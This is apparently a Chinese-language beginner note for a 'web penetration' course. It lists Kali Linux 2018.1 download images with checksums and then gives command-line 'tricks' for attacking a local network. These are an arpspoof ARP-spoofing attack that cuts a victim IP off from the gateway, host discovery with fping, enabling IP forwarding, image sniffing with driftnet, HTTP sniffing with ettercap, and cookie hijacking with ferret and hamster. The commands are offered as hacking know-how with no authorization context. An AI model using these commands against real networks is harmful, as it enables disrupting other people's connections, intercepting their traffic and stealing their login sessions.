1.Kali Linux系统下载安装包 Image NameDownloadSizeVersionsha256sum Kali Linux 64 Bit（64位的安装包）HTTP | Torrent2.9G2018.1ed88466834ceeba65f426235ec191fb3580f71d50364ac5131daec1bf976b317 Kali Linux 32 Bit（32位的安装包【推荐下载】）HTTP | Torrent2.9G2018.1b541a78a063b6385365ac00248631c4a18c92b8c4e3618db0b1bf751b495149f Kali Linux Light 64 Bit（轻量级的64位系统，功能不完整，不建议下载）HTTP | Torrent846M2018.1e47646078a5f31a952e9b5243a292d61bf6fc7af0d325f996c1fb45e0f721286 Kali Linux Light 32 Bit（轻量级的32位系统，功能不完善）HTTP | Torrent846M2018.15bf5ac2b1bfa969527c5125c404049400f9df0c44dbeb5ed716135f040ef95dc Kali Linux Light ArmelHTTP | Torrent479M2018.1061616914d64ab8b444be9b27a90a6d75b251945d2c86b19b75cfa4bab98520e 2.安装方法参见百度经验或者博客 3.常用使用技巧 /etc/init.d/ssh start 启动ssh服务 service ssh status 查看服务是否正常运行 局域网断网攻击： arpspoof -i eth0(网卡名) -t 192.168.1.101(被攻击的地址) 192.168.1.1(网关地址) 监听的时候反过来 fping -asg 192.168.1.0/24-----------显示所有子网掩码为24为的局域网的所有在线ip上 使能数据转发功能： echo "1" > /proc/sys/net/ipv4/ip\_forward 禁止数据转发功能： echo "0" > /proc/sys/net/ipv4/ip\_forward 查看数据转发状态： cat /proc/sys/net/ipv4/ip\_forward driftnet -i eth0 监听图片 ettercap -Tq -i eth0 //进入HTTP监听模式 vim /etc/ettercap/etter.conf （把linux下面的那两行的注释去掉） 劫持cookie的黑科技: 先打开ip转发--->设置浏览器端口（127.0.0.1:1234）--->然后使用ferret -i eth0 ,然后打开hamster进行抓取

黑科技之WEB渗透第一课虚拟机介绍及Kali Linux系统的安装